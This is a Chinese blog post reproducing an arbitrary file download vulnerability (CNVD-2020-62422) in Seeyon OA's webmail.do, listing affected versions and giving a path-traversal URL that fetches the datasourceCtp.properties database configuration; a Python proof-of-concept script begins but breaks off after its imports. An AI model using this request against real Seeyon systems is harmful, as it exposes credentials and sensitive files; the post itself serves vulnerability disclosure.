致远OA webmail.do任意文件下载 CNVD-2020-62422

最新推荐文章于 2024-07-25 13:44:24 发布

PeiQi_WiKi

最新推荐文章于 2024-07-25 13:44:24 发布

阅读量5.2k

点赞数

分类专栏：漏洞复现文章标签：安全

本文链接：https://blog.csdn.net/m0_46257936/article/details/113150699

版权

本文详细介绍了致远OA webmail.do组件存在的任意文件下载漏洞，包括漏洞描述、影响范围、复现步骤以及POC演示。攻击者可以利用该漏洞下载敏感文件，例如配置文件datasourceCtp.properties，影响涉及A6-V5、A8-V5、G6等多个版本。

摘要由CSDN通过智能技术生成

在这里插入图片描述

致远OA存在任意文件下载漏洞，攻击者可利用该漏洞下载任意文件，获取敏感信息

致远OA A6-V5

致远OA A8-V5

致远OA G6

访问 url http://xxx.xxx.xxx.xxx/seeyon/webmail.do?method=doDownloadAtt&filename=PeiQi.txt&filePath=…/conf/datasourceCtp.properties

存在漏洞的OA 系统将会下载 datasourceCtp.properties 配置文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HTywpQPB-1611588619254)(image/zhiyuan-11.png)]

更改参数 filePath 可下载其他文件

import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print

关注

专栏目录